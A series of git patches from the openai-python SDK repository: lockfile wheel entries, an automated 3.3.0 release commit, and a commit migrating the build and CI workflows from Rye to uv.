+ { url = "https://files.pythonhosted.org/packages/d1/16/bc4b55e3e5cb175fd69c53c90d60d2f47797cb343da5106e23863dc4dba4/aiohttp-3.14.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d77640cc618c1d99fc4f8589c0f24a730adfa54eb1e57ef7bf0c8dfb78da898c", size = 1583500, upload-time = "2026-07-23T01:56:13.613Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/e8/13a9d957a1ee40837f46aa30f0f4c657e673ad86a2e6362a9f9be20d26d9/aiohttp-3.14.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:53e5179d8abb5710f8e83ba207c41c8d1261fcffd4616500e15ca2b7a33be10a", size = 1713940, upload-time = "2026-07-23T01:56:15.969Z" },
+ { url = "https://files.pythonhosted.org/packages/38/05/d33c680c1bcf1c7e130f9cbfc1fc02fe8bb0c4af2a94a53dd5fb56131e5c/aiohttp-3.14.3-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:cd817772b2fcf2b8c0905795318485f9ec16eae60b29feb7f4c77085311637f0", size = 1724413, upload-time = "2026-07-23T01:56:18.591Z" },
+ { url = "https://files.pythonhosted.org/packages/85/1d/af798d306f7a74b6a632dbcabcf62a4c91391b7582d2a8c6d7712e2cc54e/aiohttp-3.14.3-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:4e3ac92d90e92773b2362d506068e9a948192bd553e743c5b2429e28527c8661", size = 1770748, upload-time = "2026-07-23T01:56:21.074Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/92/ad720d472556a995049206867765e9410969684f86ee09423ff9969044c1/aiohttp-3.14.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:3f42e9b78301f11c8f861746175d8b9c1ccef713fcad9eab396e2f6db8ed4a22", size = 1577564, upload-time = "2026-07-23T01:56:23.475Z" },
+ { url = "https://files.pythonhosted.org/packages/60/ad/0ed7586cbef7a884e23a752fa2bb987a122e6a5dd50dab109258d0a95193/aiohttp-3.14.3-cp314-cp314-musllinux_1_2_s390x.whl", hash = "sha256:9d9edccfe496b476db5f398d97b865e9a6752bcf8aec4eef8390ce20fb64bb41", size = 1782080, upload-time = "2026-07-23T01:56:25.994Z" },
+ { url = "https://files.pythonhosted.org/packages/97/ea/dbaed0d73e8a69aad653b045dab451c67c2454bb731a37b45a86593e9422/aiohttp-3.14.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:1c5ec8fb1bcc31a8466f74aaf26c345d5c386fa4bd08a3f0eb9c7a4a3fe8b5bf", size = 1745813, upload-time = "2026-07-23T01:56:28.604Z" },
+ { url = "https://files.pythonhosted.org/packages/81/1b/6893d4bc57e434fc93a6c9217c637d967a0b651d989f6e3265179375754a/aiohttp-3.14.3-cp314-cp314-win32.whl", hash = "sha256:38901a84da3ce22249f6e860bf8f90d141bcab7da090cc398f8bb58c0e44b7da", size = 455872, upload-time = "2026-07-23T01:56:31.031Z" },
+ { url = "https://files.pythonhosted.org/packages/f5/8b/c7baa1ba1eda4db6989baefe5de6d99834921b84ebd7918624febcb9f290/aiohttp-3.14.3-cp314-cp314-win_amd64.whl", hash = "sha256:8b3b60de05f3dcb6f6a00f818bb2ec781cee4de0645f59ccaf99b1d1823b6100", size = 481030, upload-time = "2026-07-23T01:56:33.365Z" },
+ { url = "https://files.pythonhosted.org/packages/22/8c/c29d067df825a2df88ca432db848aa2fe8199598359cc06c12b09320cac9/aiohttp-3.14.3-cp314-cp314-win_arm64.whl", hash = "sha256:1576145bdceeb92382d899751e12743a3a5b8e460a841e3e50543859e54864dc", size = 453669, upload-time = "2026-07-23T01:56:35.731Z" },
+ { url = "https://files.pythonhosted.org/packages/6a/a4/9c033beb355d39b6147980597ec9645e4729243f686ee4dc73945de72030/aiohttp-3.14.3-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:8800c996b01c2772a783e3e46f3e1abd5823029adca0df54231960de9bfefa5b", size = 791403, upload-time = "2026-07-23T01:56:37.972Z" },
+ { url = "https://files.pythonhosted.org/packages/80/ca/87c32a0a7704583cfc49660bd817889bae5b830bf53b5dcb4e92145ac2da/aiohttp-3.14.3-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:ebe8e504f058fe91223351cecd2d9d6946c9d241bb0250d898ffbdf584cc72b0", size = 526413, upload-time = "2026-07-23T01:56:40.523Z" },
+ { url = "https://files.pythonhosted.org/packages/9e/d8/8ec0e471248c500acdce2be3f46db8fb62b5eb60efef072529cc85ee1d26/aiohttp-3.14.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:30402d03a7c0ff52bce290b57e564e9079fd9d0cb545c8aba73f86a103162d2e", size = 532135, upload-time = "2026-07-23T01:56:42.876Z" },
+ { url = "https://files.pythonhosted.org/packages/fe/45/f8919fd936e8b79fcd9bda7b6d8e62613462a713f4f17987fd7c34399142/aiohttp-3.14.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:9fc7b5bfec6573f3ae844f457fdde5adeb713f8b8e4a81ad64fc207b49383716", size = 1922742, upload-time = "2026-07-23T01:56:45.528Z" },
+ { url = "https://files.pythonhosted.org/packages/f6/ec/9ca76b28a27525b0cc53e20842e0228b022f301ce1f436b7d814b4aaf2df/aiohttp-3.14.3-cp314-cp314t-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:8a5fd34f7f7410d1730d5c2ba873cacb2eed3fede366feb268a70ba22581ed8f", size = 1787371, upload-time = "2026-07-23T01:56:48.045Z" },
+ { url = "https://files.pythonhosted.org/packages/b1/04/6acdbf17315f7b55f1937e3387acb89a3cddeb4995689553d064af8e92ab/aiohttp-3.14.3-cp314-cp314t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:270d3dace9ca2f10f0da5d8ebe519b7a310fc6112ed916e32df5866df0888553", size = 1912623, upload-time = "2026-07-23T01:56:50.605Z" },
+ { url = "https://files.pythonhosted.org/packages/86/e6/438b0c79ca6f45eb9fd9817dd4c01a91919a38c0de5ee9e05e2b4dc0ece7/aiohttp-3.14.3-cp314-cp314t-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3ae5b3a59436d089b5395d910121a390feed4d00578eb95a0fd1a329fe963100", size = 2005515, upload-time = "2026-07-23T01:56:53.153Z" },
+ { url = "https://files.pythonhosted.org/packages/bb/6b/62cbd6577758699525f5c712d1ddef57d9875fbab0ae8d5f5a202fd598f8/aiohttp-3.14.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:2498f0fe69ead802f9675beca44a7c21c62fdaa4ec5145ea1c3ad6edbee29f85", size = 1879906, upload-time = "2026-07-23T01:56:55.818Z" },
+ { url = "https://files.pythonhosted.org/packages/00/95/18bcbf830a21dc3aae24d8f6b6feaf3db1d2090242d00a7868db2ffb0b67/aiohttp-3.14.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:a0dc483c00da8b673abbb367eb6f8d8f4bcec30eb58529ea13cb42e7fd2dfa33", size = 1675849, upload-time = "2026-07-23T01:56:58.861Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/19/47f4968659c5e23606c3790c80fc624e691c153d036148449ee84d31b287/aiohttp-3.14.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:c7d3a97c678d34fc5b59da671ee9cd630096ddc643e7b5a30d54a2a6f3574d3f", size = 1843496, upload-time = "2026-07-23T01:57:01.591Z" },
+ { url = "https://files.pythonhosted.org/packages/64/af/38c33c4dd82fddcb4e56c4653b6f1072a8edbc6b7fa15809f14932c41e2d/aiohttp-3.14.3-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:f8fb78a83c9e5f741ca3a68cfb455c1f5bb83b4e7249a3848b3cd78d0a8563b0", size = 1827746, upload-time = "2026-07-23T01:57:05.131Z" },
+ { url = "https://files.pythonhosted.org/packages/a1/9d/0537cda4885ac8f5b7053d164dd06312f4c483a4edcb8ee5b8aaf2a989bf/aiohttp-3.14.3-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:74ab5b6a9fb13e873e5a90946588baecaf488745e1db1a4a5c433f971f035098", size = 1853810, upload-time = "2026-07-23T01:57:08.043Z" },
+ { url = "https://files.pythonhosted.org/packages/19/fe/26f9c5e6458385aa86497836b0dea6fb2f027827d63f37c7856cce9286ee/aiohttp-3.14.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:bd52f811e65f6fb634b1047159657c98f52b407f8efec907bcfc09da9a4c0a25", size = 1668895, upload-time = "2026-07-23T01:57:10.837Z" },
+ { url = "https://files.pythonhosted.org/packages/ec/4c/618b1db9b9ba079b8875d2cdf78e7c4a3bf72903bd5850fee7dd9544600a/aiohttp-3.14.3-cp314-cp314t-musllinux_1_2_s390x.whl", hash = "sha256:f0f177d1b195b9e06376cfd7d308d8a1b920909a609d03ac82a8c73bbb16d3b9", size = 1883833, upload-time = "2026-07-23T01:57:13.672Z" },
+ { url = "https://files.pythonhosted.org/packages/94/c6/bd959bd1e4771f9fd944e9e436224c48c77b018b73b519b5aad346335bcc/aiohttp-3.14.3-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:498c6c623134f8e09a3c4e60bcd607a0b4590dd7dbf08dd40851b27cbb520ccb", size = 1844251, upload-time = "2026-07-23T01:57:16.593Z" },
+ { url = "https://files.pythonhosted.org/packages/5e/19/08d41839658bdd44a0ed2480f3891705ecb487ce28c0dde62c9040c997e0/aiohttp-3.14.3-cp314-cp314t-win32.whl", hash = "sha256:b304db572b4368edd8dda8a2274f73156fe15558fca4a917cb8a09fc47af5963", size = 474180, upload-time = "2026-07-23T01:57:19.306Z" },
+ { url = "https://files.pythonhosted.org/packages/99/5d/3cd6ef0a2b2851f7ab913b5b079334781bd50ff56a323e4454063377a080/aiohttp-3.14.3-cp314-cp314t-win_amd64.whl", hash = "sha256:b20032766aedf6261c7a566585a40867d092ac03a0d81592d5370ef9b054f99b", size = 500528, upload-time = "2026-07-23T01:57:21.762Z" },
+ { url = "https://files.pythonhosted.org/packages/a4/37/cfd1ed540a4d318da025590d96b728e63713c09e9377950fc655dadeb856/aiohttp-3.14.3-cp314-cp314t-win_arm64.whl", hash = "sha256:2e1161602f45a54de2ce0905243a95f58cb42dcd378402f3697f5e0b21e9d2e7", size = 469280, upload-time = "2026-07-23T01:57:24.241Z" },
]
[[package]]
@@ -918,6 +918,7 @@ aiohttp = [
]
bedrock = [
{ name = "botocore" },
+ { name = "urllib3" },
]
datalib = [
{ name = "numpy", version = "2.2.6", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11'" },
@@ -936,7 +937,7 @@ voice-helpers = [
[package.metadata]
requires-dist = [
- { name = "aiohttp", marker = "extra == 'aiohttp'", specifier = ">=3.14.1" },
+ { name = "aiohttp", marker = "extra == 'aiohttp'", specifier = ">=3.14.3" },
{ name = "anyio", specifier = ">=4.10.0,<5" },
{ name = "botocore", marker = "extra == 'bedrock'", specifier = ">=1.40.0,<2" },
{ name = "distro", specifier = ">=1.7.0,<2" },
@@ -949,6 +950,7 @@ requires-dist = [
{ name = "sniffio" },
{ name = "sounddevice", marker = "extra == 'voice-helpers'", specifier = ">=0.5.1" },
{ name = "typing-extensions", specifier = ">=4.14,<5" },
+ { name = "urllib3", marker = "extra == 'bedrock'", specifier = ">=2.7.0,<3" },
{ name = "websockets", marker = "extra == 'realtime'", specifier = ">=13,<16" },
]
provides-extras = ["aiohttp", "realtime", "datalib", "voice-helpers", "bedrock"]
From 56807c041cb4b54222535a578332fa0649602318 Mon Sep 17 00:00:00 2001
From: "openai-sdks[bot]" <284451331+openai-sdks[bot]@users.noreply.github.com>
Date: Tue, 18 Aug 2026 21:13:31 +0000
Subject: [PATCH 028/341] release: 3.3.0 (#3640)
Automated Release PR
---
##
[3.3.0](https://github.com/openai/openai-python/compare/v3.2.0...v3.3.0)
(2026-08-18)
### Features
* support named data-residency endpoints
([#3646](https://github.com/openai/openai-python/issues/3646))
([11ee914](https://github.com/openai/openai-python/commit/11ee91475694d9cd77813763707fbadf68806d4f))
### Bug Fixes
* require patched optional networking dependencies
([#3651](https://github.com/openai/openai-python/issues/3651))
([40e56de](https://github.com/openai/openai-python/commit/40e56de55166a55be3572fdf9750145d4458e144))
### Chores
* remove unused dependencies and pin build tooling
([#3650](https://github.com/openai/openai-python/issues/3650))
([eee8e4a](https://github.com/openai/openai-python/commit/eee8e4a7d0e42bb0d6b9aa01c4dd8e04aaac3ff4))
### Documentation
* strengthen Python SDK security contribution guidance
([#3639](https://github.com/openai/openai-python/issues/3639))
([6577709](https://github.com/openai/openai-python/commit/6577709190ae5e258d0270870f701432f67e6a3e))
---
This PR was generated with [Release
Please](https://github.com/googleapis/release-please). See
[documentation](https://github.com/googleapis/release-please#release-please).
Co-authored-by: openai-sdks[bot] <284451331+openai-sdks[bot]@users.noreply.github.com>
---
.release-please-manifest.json | 2 +-
CHANGELOG.md | 22 ++++++++++++++++++++++
pyproject.toml | 2 +-
src/openai/_version.py | 2 +-
uv.lock | 2 +-
5 files changed, 26 insertions(+), 4 deletions(-)
diff --git a/.release-please-manifest.json b/.release-please-manifest.json
index 1f73031b89..ff1c7af587 100644
--- a/.release-please-manifest.json
+++ b/.release-please-manifest.json
@@ -1,3 +1,3 @@
{
- ".": "3.2.0"
+ ".": "3.3.0"
}
\ No newline at end of file
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 86c4dcff8a..7295718971 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -1,5 +1,27 @@
# Changelog
+## [3.3.0](https://github.com/openai/openai-python/compare/v3.2.0...v3.3.0) (2026-08-18)
+
+
+### Features
+
+* support named data-residency endpoints ([#3646](https://github.com/openai/openai-python/issues/3646)) ([11ee914](https://github.com/openai/openai-python/commit/11ee91475694d9cd77813763707fbadf68806d4f))
+
+
+### Bug Fixes
+
+* require patched optional networking dependencies ([#3651](https://github.com/openai/openai-python/issues/3651)) ([40e56de](https://github.com/openai/openai-python/commit/40e56de55166a55be3572fdf9750145d4458e144))
+
+
+### Chores
+
+* remove unused dependencies and pin build tooling ([#3650](https://github.com/openai/openai-python/issues/3650)) ([eee8e4a](https://github.com/openai/openai-python/commit/eee8e4a7d0e42bb0d6b9aa01c4dd8e04aaac3ff4))
+
+
+### Documentation
+
+* strengthen Python SDK security contribution guidance ([#3639](https://github.com/openai/openai-python/issues/3639)) ([6577709](https://github.com/openai/openai-python/commit/6577709190ae5e258d0270870f701432f67e6a3e))
+
## [3.2.0](https://github.com/openai/openai-python/compare/v3.1.0...v3.2.0) (2026-08-17)
diff --git a/pyproject.toml b/pyproject.toml
index 48f2374a75..a77e89e234 100644
--- a/pyproject.toml
+++ b/pyproject.toml
@@ -1,6 +1,6 @@
[project]
name = "openai"
-version = "3.2.0"
+version = "3.3.0"
description = "The official Python library for the openai API"
dynamic = ["readme"]
license = "Apache-2.0"
diff --git a/src/openai/_version.py b/src/openai/_version.py
index 3bb768f6ae..49d23676c9 100644
--- a/src/openai/_version.py
+++ b/src/openai/_version.py
@@ -1,2 +1,2 @@
__title__ = "openai"
-__version__ = "3.2.0" # x-release-please-version
+__version__ = "3.3.0" # x-release-please-version
diff --git a/uv.lock b/uv.lock
index 2dcb660ed6..c94f9aa6ea 100644
--- a/uv.lock
+++ b/uv.lock
@@ -900,7 +900,7 @@ wheels = [
[[package]]
name = "openai"
-version = "3.2.0" # x-release-please-version
+version = "3.3.0" # x-release-please-version
source = { editable = "." }
dependencies = [
{ name = "anyio" },
From b37e85d8fe9cd2b23862dbc62716d38e2cacaf92 Mon Sep 17 00:00:00 2001
From: Alex Chang
Date: Wed, 19 Aug 2026 14:49:34 +0000
Subject: [PATCH 029/341] chore(build): migrate to uv (#3653)
# Summary
Rye is no longer maintained. Moving to its [maintained successor,
uv](https://rye.astral.sh/guide/uv/).
- Keep the familiar `scripts/*` commands and both Pydantic compatibility
lanes, while making `uv.lock` the source of truth.
- Build releases with a small, hash-checked dependency set. Preserve the
separate, upload-only PyPI Trusted Publishing job.
- Give routine Python and GitHub Actions updates an eight-day cooldown.
Keep Dependabot security updates exempt, with a narrow, reviewed uv
exception process for urgent fixes.
- Reduce the development graph from 88 packages to 79. The default
runtime graph stays at 15 and all runtime extras stay at 37; existing
patched networking dependencies are retained.
There is no SDK API or Python-support change. Pyright's installation
path and unrelated dependency upgrades remain separate follow-ups.
---
.devcontainer/Dockerfile | 8 +-
.devcontainer/devcontainer.json | 4 +-
.github/dependabot.yml | 15 +
.github/workflows/ci.yml | 101 +-
.github/workflows/create-releases.yml | 11 +-
.github/workflows/detect-breaking-changes.yml | 25 +-
.github/workflows/publish-pypi.yml | 11 +-
.gitignore | 1 +
AGENTS.md | 14 +-
Brewfile | 2 +-
CONTRIBUTING.md | 73 +-
bedrock.md | 2 +-
examples/audio.py | 2 +-
examples/mtls_httpx.py | 2 +-
examples/mtls_httpx2.py | 2 +-
examples/mtls_httpx2_async.py | 2 +-
examples/mtls_httpx_async.py | 2 +-
examples/realtime/realtime.py | 2 +-
examples/responses/background_streaming.py | 2 +-
examples/speech_to_text.py | 2 +-
examples/text_to_speech.py | 2 +-
noxfile.py | 9 -
pyproject.toml | 68 +-
requirements-dev.lock | 238 ---
requirements.lock | 108 --
scripts/bootstrap | 5 +-
scripts/build | 9 +
scripts/check-python-version-policy.py | 2 +-
scripts/format | 10 +-
scripts/lint | 10 +-
scripts/test | 4 +-
scripts/test-pydantic-v1 | 8 +
tests/lib/bedrock_live.py | 2 +-
tests/test_uv_workflows.py | 163 ++
uv.lock | 1613 +++++++++++++----
35 files changed, 1652 insertions(+), 882 deletions(-)
create mode 100644 .github/dependabot.yml
delete mode 100644 noxfile.py
delete mode 100644 requirements-dev.lock
delete mode 100644 requirements.lock
create mode 100755 scripts/build
create mode 100755 scripts/test-pydantic-v1
create mode 100644 tests/test_uv_workflows.py
diff --git a/.devcontainer/Dockerfile b/.devcontainer/Dockerfile
index ff261bad78..733a9e688f 100644
--- a/.devcontainer/Dockerfile
+++ b/.devcontainer/Dockerfile
@@ -1,9 +1,11 @@
-ARG VARIANT="3.9"
+ARG VARIANT="3.10"
FROM mcr.microsoft.com/vscode/devcontainers/python:0-${VARIANT}
USER vscode
-RUN curl -sSf https://rye.astral.sh/get | RYE_VERSION="0.44.0" RYE_INSTALL_OPTION="--yes" bash
-ENV PATH=/home/vscode/.rye/shims:$PATH
+ADD --chmod=644 --checksum=sha256:504511fbbbd811aeaba6738abc79408956b6c7da0ca35437b3dcc24a41efc111 \
+ https://github.com/astral-sh/uv/releases/download/0.12.5/uv-installer.sh /tmp/uv-installer.sh
+RUN UV_NO_MODIFY_PATH=1 sh /tmp/uv-installer.sh
+ENV PATH=/home/vscode/.local/bin:$PATH
RUN echo "[[ -d .venv ]] && source .venv/bin/activate || export PATH=\$PATH" >> /home/vscode/.bashrc
diff --git a/.devcontainer/devcontainer.json b/.devcontainer/devcontainer.json
index c17fdc169f..3dff6a0ea2 100644
--- a/.devcontainer/devcontainer.json
+++ b/.devcontainer/devcontainer.json
@@ -7,7 +7,7 @@
"context": ".."
},
- "postStartCommand": "rye sync --all-features",
+ "postStartCommand": "uv sync --locked --all-extras",
"customizations": {
"vscode": {
@@ -20,7 +20,7 @@
"python.defaultInterpreterPath": ".venv/bin/python",
"python.typeChecking": "basic",
"terminal.integrated.env.linux": {
- "PATH": "/home/vscode/.rye/shims:${env:PATH}"
+ "PATH": "/home/vscode/.local/bin:${env:PATH}"
}
}
}
diff --git a/.github/dependabot.yml b/.github/dependabot.yml
new file mode 100644
index 0000000000..68f3341f7d
--- /dev/null
+++ b/.github/dependabot.yml
@@ -0,0 +1,15 @@
+version: 2
+updates:
+ - package-ecosystem: uv
+ directory: /
+ schedule:
+ interval: weekly
+ # Version updates wait; Dependabot security updates are exempt.
+ cooldown:
+ default-days: 8
+ - package-ecosystem: github-actions
+ directory: /
+ schedule:
+ interval: weekly
+ cooldown:
+ default-days: 8
diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml
index 662f51b012..61e95c69f5 100644
--- a/.github/workflows/ci.yml
+++ b/.github/workflows/ci.yml
@@ -27,14 +27,14 @@ jobs:
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
- - name: Set up Rye
- uses: eifinger/setup-rye@c694239a43768373e87d0103d7f547027a23f3c8
+ - name: Set up uv
+ uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
with:
- version: '0.44.0'
+ version: '0.12.5'
enable-cache: true
- name: Install dependencies
- run: rye sync --all-features
+ run: uv sync --locked --all-extras
- name: Run lints
run: ./scripts/lint
@@ -51,26 +51,26 @@ jobs:
with:
persist-credentials: false
- - name: Set up Rye
- uses: eifinger/setup-rye@c694239a43768373e87d0103d7f547027a23f3c8
+ - name: Set up uv
+ uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
with:
- version: '0.44.0'
+ version: '0.12.5'
enable-cache: true
- name: Install dependencies
- run: rye sync --all-features
+ run: uv sync --locked --all-extras
- name: Run build
- run: rye build
+ run: ./scripts/build
- name: Validate Python version metadata
- run: rye run python scripts/utils/validate-python-version-wheel.py
+ run: uv run --locked --all-extras python scripts/utils/validate-python-version-wheel.py
- name: Validate Bedrock wheel
- run: rye run python scripts/utils/validate-bedrock-wheel.py
+ run: uv run --locked --all-extras python scripts/utils/validate-bedrock-wheel.py
- name: Validate HTTPX2 wheel on Python 3.10
- run: rye run python scripts/utils/validate-httpx2-wheel.py
+ run: uv run --locked --all-extras python scripts/utils/validate-httpx2-wheel.py
- name: Set up Python 3.9 for resolver rejection
uses: actions/setup-python@a26af69be951a213d495a4c3e4e4022e16d87065 # v5.6.0
@@ -107,22 +107,12 @@ jobs:
with:
python-version: ${{ matrix.python-version }}
- - name: Set up Rye
- uses: eifinger/setup-rye@c694239a43768373e87d0103d7f547027a23f3c8
+ - name: Set up uv
+ uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
with:
- version: '0.44.0'
- enable-cache: false
-
- - name: Cache Rye virtual environment
- uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
- with:
- path: .venv
- key: rye-${{ runner.os }}-${{ runner.arch }}-${{ steps.setup-python.outputs.python-version }}-${{ hashFiles('requirements.lock', 'requirements-dev.lock') }}
-
- - name: Select Python ${{ matrix.python-version }}
- run: |
- rye toolchain register "${{ steps.setup-python.outputs.python-path }}"
- rye pin --relaxed --no-update-requires-python "${{ matrix.python-version }}"
+ version: '0.12.5'
+ python-version: ${{ matrix.python-version }}
+ enable-cache: true
- name: Bootstrap
run: ./scripts/bootstrap
@@ -144,23 +134,16 @@ jobs:
with:
python-version: '3.14'
- - name: Set up Rye
- uses: eifinger/setup-rye@c694239a43768373e87d0103d7f547027a23f3c8
- with:
- version: '0.44.0'
- enable-cache: false
-
- - name: Cache Rye virtual environment
- uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
+ - name: Set up uv
+ uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
with:
- path: .venv
- key: rye-${{ runner.os }}-${{ runner.arch }}-${{ steps.setup-python.outputs.python-version }}-${{ hashFiles('requirements.lock', 'requirements-dev.lock') }}
+ version: '0.12.5'
+ python-version: '3.14'
+ enable-cache: true
- name: Install HTTPX2 test dependencies
run: |
- rye toolchain register "${{ steps.setup-python.outputs.python-path }}"
- rye pin --relaxed --no-update-requires-python 3.14
- rye sync --all-features
+ uv sync --locked --all-extras
- name: Run tests with HTTPX2
env:
@@ -177,23 +160,23 @@ jobs:
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
- - name: Set up Rye
- uses: eifinger/setup-rye@c694239a43768373e87d0103d7f547027a23f3c8
+ - name: Set up uv
+ uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
with:
- version: '0.44.0'
+ version: '0.12.5'
enable-cache: true
- name: Install dependencies
run: |
- rye sync --all-features
+ uv sync --locked --all-extras
- env:
OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
run: |
- rye run python examples/demo.py
+ uv run --locked --all-extras python examples/demo.py
- env:
OPENAI_API_KEY: ${{ secrets.OPENAI_API_KEY }}
run: |
- rye run python examples/async_demo.py
+ uv run --locked --all-extras python examples/async_demo.py
python-policy:
timeout-minutes: 5
@@ -242,30 +225,20 @@ jobs:
python-version: ${{ matrix.python-version }}
allow-prereleases: ${{ matrix.experimental }}
- - name: Set up Rye
- uses: eifinger/setup-rye@c694239a43768373e87d0103d7f547027a23f3c8
- with:
- version: '0.44.0'
- enable-cache: false
-
- - name: Cache Rye virtual environment
- uses: actions/cache@55cc8345863c7cc4c66a329aec7e433d2d1c52a9 # v6.1.0
+ - name: Set up uv
+ uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
with:
- path: .venv
- key: rye-${{ runner.os }}-${{ runner.arch }}-${{ steps.setup-python.outputs.python-version }}-${{ hashFiles('requirements.lock', 'requirements-dev.lock') }}
-
- - name: Select Python ${{ matrix.python-version }}
- run: |
- rye toolchain register "${{ steps.setup-python.outputs.python-path }}"
- rye pin --relaxed --no-update-requires-python "${{ matrix.python-version }}"
+ version: '0.12.5'
+ python-version: ${{ matrix.python-version }}
+ enable-cache: true
- name: Install dependencies
- run: rye sync --all-features
+ run: uv sync --locked --all-extras
- name: Smoke-test the supported runtime
run: |
- rye run python -c 'import openai; from openai import AsyncOpenAI, OpenAI'
- rye run pytest -o addopts= --quiet \
+ uv run --locked --all-extras python -c 'import openai; from openai import AsyncOpenAI, OpenAI'
+ uv run --locked --all-extras pytest -o addopts= --quiet \
tests/test_client.py \
tests/test_streaming.py \
tests/lib/test_pydantic.py
diff --git a/.github/workflows/create-releases.yml b/.github/workflows/create-releases.yml
index cb1c8cc427..20019676e9 100644
--- a/.github/workflows/create-releases.yml
+++ b/.github/workflows/create-releases.yml
@@ -48,16 +48,15 @@ jobs:
with:
persist-credentials: false
- - name: Set up Rye
- uses: eifinger/setup-rye@c694239a43768373e87d0103d7f547027a23f3c8
+ - name: Set up uv
+ uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
with:
- version: '0.44.0'
- enable-cache: true
+ version: '0.12.5'
+ enable-cache: false
- name: Build package
run: |
- mkdir -p dist
- rye build --clean
+ ./scripts/build
- name: Upload package distributions
uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7.0.1
diff --git a/.github/workflows/detect-breaking-changes.yml b/.github/workflows/detect-breaking-changes.yml
index a1d2624e5d..b339104295 100644
--- a/.github/workflows/detect-breaking-changes.yml
+++ b/.github/workflows/detect-breaking-changes.yml
@@ -32,17 +32,17 @@ jobs:
# Ensure the comparison base is available to the scripts below.
fetch-depth: ${{ env.FETCH_DEPTH }}
- - name: Set up Rye
- uses: eifinger/setup-rye@c694239a43768373e87d0103d7f547027a23f3c8
+ - name: Set up uv
+ uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
with:
- version: '0.44.0'
+ version: '0.12.5'
enable-cache: true
- name: Install dependencies
run: |
- rye sync --all-features
+ uv sync --locked --all-extras
- name: Detect removed symbols
run: |
- rye run python scripts/detect-breaking-changes.py "$BASE_SHA"
+ uv run --locked --all-extras python scripts/detect-breaking-changes.py "$BASE_SHA"
- name: Detect breaking changes
run: |
@@ -59,17 +59,19 @@ jobs:
with:
path: openai-python
- - name: Set up Rye
- uses: eifinger/setup-rye@c694239a43768373e87d0103d7f547027a23f3c8
+ - name: Set up uv
+ uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
with:
- version: '0.44.0'
+ version: '0.12.5'
enable-cache: true
working-directory: openai-python
+ # Match the Agents SDK's type-checking runtime, not our minimum.
+ python-version: '3.14'
- name: Install dependencies
working-directory: openai-python
run: |
- rye sync --all-features
+ uv sync --locked --all-extras
# Setup the agents lib
- uses: actions/checkout@34e114876b0b11c390a56381ad16ebd13914f8d5 # v4
@@ -77,11 +79,6 @@ jobs:
repository: openai/openai-agents-python
path: openai-agents-python
- - name: Setup uv
- uses: astral-sh/setup-uv@d4b2f3b6ecc6e67c4457f6d3e41ec42d3d0fcb86 # v5
- with:
- enable-cache: true
-
- name: Link to local SDK
working-directory: openai-agents-python
run: uv add ../openai-python
diff --git a/.github/workflows/publish-pypi.yml b/.github/workflows/publish-pypi.yml
index a14971f7f1..1ee1a61911 100644
--- a/.github/workflows/publish-pypi.yml
+++ b/.github/workflows/publish-pypi.yml
@@ -17,16 +17,15 @@ jobs:
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6
- - name: Set up Rye
- uses: eifinger/setup-rye@c694239a43768373e87d0103d7f547027a23f3c8
+ - name: Set up uv
+ uses: astral-sh/setup-uv@20cfd1bf945f4377ade1205e4dbc17946fc9a30d # v10.0.1
with:
- version: '0.44.0'
- enable-cache: true
+ version: '0.12.5'
+ enable-cache: false
- name: Build package
run: |
- mkdir -p dist
- rye build --clean
+ ./scripts/build
- name: Upload package distributions
